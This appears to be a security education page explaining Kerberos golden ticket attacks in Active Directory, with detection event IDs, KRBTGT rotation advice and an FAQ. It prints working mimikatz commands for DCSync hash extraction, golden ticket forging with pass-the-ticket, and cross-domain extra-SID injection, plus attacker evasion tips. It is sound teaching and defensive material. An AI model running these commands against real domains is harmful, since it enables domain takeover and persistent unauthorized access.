AdvancedActive Directory

Golden Ticket Attacks: Kerberos Ticket Forging Explained

Deep technical analysis of golden ticket attacks against Kerberos authentication, including how forged TGTs work, creation techniques, detection methods, and prevention strategies.

#Golden Ticket#Kerberos#Active Directory#TGT#Persistence

Forging the Master Key to the Domain

A golden ticket attack forges a Kerberos Ticket Granting Ticket (TGT) — the master authentication token in Active Directory. Because the TGT is encrypted with the KRBTGT account's password hash, anyone who possesses this hash can forge identity for any user, including non-existent accounts at any privilege level. Golden tickets represent the ultimate compromise of Kerberos trust architecture, with validity up to 10 years.

Prerequisites

**Kerberos Explained** — Understanding of ticket structure

**Credential Dumping** — KRBTGT hash extraction

The KRBTGT Account

KRBTGT is a special disabled user account whose password hash encrypts all TGTs in the domain. It has a random 240-character password set at domain creation and rarely changes. The KRBTGT hash is the single most sensitive credential in the entire domain — with it, an attacker can forge TGTs for any user, create tickets for non-existent users, set lifetimes up to 10 years, and maintain access even after other compromised credentials change.

Creating Golden Tickets

# Extract KRBTGT hash via DCSync
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:corp.local /user:krbtgt" "exit"

# Create and inject golden ticket
mimikatz.exe "kerberos::golden /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /krbtgt:KRBTGT_NTLM_HASH /id:500 /user:Administrator /groups:512,513,518,519,520 /ptt" "exit"

Parameters: /domain (FQDN), /sid (domain SID), /krbtgt (KRBTGT hash), /user (impersonated user), /id (user RID, 500 = Administrator), /groups (SIDs for Domain Admins, Enterprise Admins).

Using Golden Tickets

# After PTT injection, access domain resources
dir \\dc01\c$
psexec \\dc01 cmd.exe
powershell.exe -c "Get-ADUser -Filter *"

Cross-Domain Golden Tickets

Extra-SID injection includes Enterprise Admins SIDs for cross-forest access:

mimikatz.exe "kerberos::golden /domain:child.corp.local /sid:S-1-5-21-CHILD /sids:S-1-5-21-ROOT-519 /krbtgt:KRBTGT_HASH /user:Administrator /ptt" "exit"

Detection

**Event ID 4624** (Logon Type 7) — Credential replay

**Event ID 4768** — TGT request with anomalous lifetime

**Event ID 4672** — Special privileges assigned to suspicious accounts

Non-existent user logons and gaps in logon event chain

Common Mistakes

Storing golden ticket files (.kirbi) on disk

Using obvious usernames like "Administrator"

Setting excessively long lifetimes (easily spotted in logs)

Best Practices

**Regularly rotate KRBTGT password** — Rotate twice with 24-hour gap

**Monitor Kerberos events** (4768, 4769)

**Use Privileged Access Workstations (PAW)**

**Implement tiered administration model**

**Monitor for DCSync rights** — often precedes golden ticket attacks

Related Tools

**Mimikatz** — kerberos::golden

**Rubeus** — Kerberos ticket manipulation

**Impacket** — ticketer.py

Kerberos Explained: Authentication Protocol Deep Dive

Silver Ticket Attacks: Service Ticket Manipulation

Active Directory Fundamentals: Windows Network Domains

Pass-the-Hash: Understanding NTLM Authentication Attacks

Summary

Golden tickets forge TGTs using the KRBTGT hash, granting unrestricted domain access for extended periods. Detection is challenging since forged tickets are indistinguishable from legitimate ones. Defenses center on protecting the KRBTGT hash, regular rotation, and monitoring for precursor steps (DCSync, credential dumping).

Related SMB Tool Recommendations

[SMBClient](/tools/smbclient) - Verify share access and browse discovered SMB shares

[Enum4Linux](/tools/enum4linux) - Enumerate SMB users, groups, shares, and policies

[Enum4Linux-NG](/tools/enum4linux-ng) - Run modern SMB enumeration with structured output

[NBTScan](/tools/nbtscan) - Resolve NetBIOS names before deeper SMB testing

[CrackMapExec](/tools/crackmapexec) - Scale SMB enumeration across larger networks

[NetExec](/tools/netexec) - Use modern SMB and Active Directory automation

Knowledge Check

What account's hash encrypts Kerberos TGTs?

What is the maximum golden ticket lifetime?

How does extra-SID injection work for cross-trust access?

Why are golden tickets difficult to detect?

Frequently Asked Questions

What is a golden ticket attack?

A golden ticket attack forges a Kerberos Ticket Granting Ticket (TGT) using the KRBTGT account's NTLM hash. With this hash, an attacker can create valid TGTs for any user in the domain, including non-existent accounts with any privilege level.

What account's hash is needed to create a golden ticket?

The KRBTGT account hash is required. KRBTGT is a special disabled account whose hash encrypts all TGTs in the domain. Obtaining this hash (typically via DCSync) gives an attacker the ability to forge authentication tickets for the entire domain.

How long can a golden ticket remain valid?

Golden tickets can have lifetimes up to 10 years. Since the TGT is encrypted with the KRBTGT hash, the KDC cannot distinguish a forged ticket from a legitimate one, making long-term persistence possible even after password changes.

Does changing user passwords invalidate golden tickets?

No. Golden tickets are encrypted with the KRBTGT hash, not individual user password hashes. Changing user passwords does not affect the KRBTGT hash. Only rotating the KRBTGT password twice invalidates existing golden tickets.

What is the KRBTGT account and why is it so sensitive?

KRBTGT is a disabled account created at domain installation with a random 240-character password. Its hash encrypts every TGT issued in the domain. Compromising it is equivalent to compromising the entire domain's authentication infrastructure.

How do you rotate the KRBTGT password securely?

Rotate the KRBTGT password twice with a 24-hour gap between rotations. The first rotation changes the password, but old tickets encrypted with the previous hash remain valid until the second rotation invalidates them. Both rotations are needed for complete remediation.

What is extra-SID injection in cross-domain golden tickets?

Extra-SID injection adds the Enterprise Admins SID (S-1-5-21-ROOT-519) to a golden ticket forged in a child domain. This grants the attacker Enterprise Admin rights across the entire forest, enabling cross-domain compromise through trust relationships.

How are golden tickets detected in an environment?

Detection relies on monitoring Event IDs 4768 (TGT requests with anomalous lifetimes), 4624 Type 7 (credential replay), and 4672 (special privileges for suspicious accounts). Look for logons by non-existent users or gaps in normal authentication patterns.

What is the difference between a golden ticket and a silver ticket?

A golden ticket forges a TGT (granting domain-wide access) using the KRBTGT hash and generates KDC events. A silver ticket forges a service ticket (TGS) for a specific service using that service's NTLM hash and generates no KDC events, making it stealthier.

How does DCSync relate to golden ticket attacks?

DCSync is the technique used to extract the KRBTGT hash from a domain controller by mimicking replication. It is the most common prerequisite for golden ticket attacks, so monitoring for unauthorized DCSync attempts is a critical detection strategy.

What defenses prevent golden ticket creation?

Rotate the KRBTGT password regularly (at least twice per year), monitor for DCSync attempts, deploy Privileged Access Workstations for admin accounts, implement tiered administration, and use SIEM correlation to detect anomalous Kerberos ticket activity.

Are golden tickets detectable by network monitoring?

Golden tickets are encrypted within Kerberos protocol, making content inspection impossible. Detection depends on behavioral analysis — unusual authentication patterns, logons from non-existent accounts, and TGT lifetimes that deviate from organizational policy.